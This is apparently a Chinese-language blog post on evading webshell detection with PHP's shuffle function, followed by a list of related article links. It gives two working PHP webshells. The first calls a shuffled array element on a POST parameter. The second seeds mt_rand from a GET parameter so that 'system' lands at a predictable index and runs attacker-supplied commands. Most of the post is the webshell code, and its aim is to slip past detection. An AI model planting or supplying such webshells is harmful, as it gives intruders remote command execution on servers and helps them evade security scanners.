记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
专业开发者24 分钟前
Wi-Fi 技术学习:Wi-Fi 射频设计核心原则 —— 只覆盖你想要的区域
学习
blackorbird42 分钟前
借助Claude逆向分析智能睡眠眼罩并发现安全问题
安全
coding随想2 小时前
ESM + TypeScript:零配置实现类型安全的现代开发
安全·ubuntu·typescript
枷锁—sha2 小时前
【CTFshow-pwn系列】03_栈溢出【pwn 048】详解:Ret2Libc 之 Puts 泄露
网络·安全·网络安全
码农葫芦侠3 小时前
Rust学习教程2:基本语法
开发语言·学习·rust
草履虫建模4 小时前
Java 集合框架:接口体系、常用实现、底层结构与选型(含线程安全)
java·数据结构·windows·安全·决策树·kafka·哈希算法
LYS_06184 小时前
c++学习(1)(编译过程)
c++·学习
键盘鼓手苏苏4 小时前
Flutter for OpenHarmony 实战:Envied — 环境变量与私钥安全守护者
开发语言·安全·flutter·华为·rust·harmonyos
志栋智能4 小时前
AI驱动的安全自动化机器人:从“告警疲劳”到“智能免疫”的防御革命
运维·人工智能·安全·机器人·自动化
happymaker06264 小时前
Java学习日记——DAY25(JavaSE完结)
java·开发语言·学习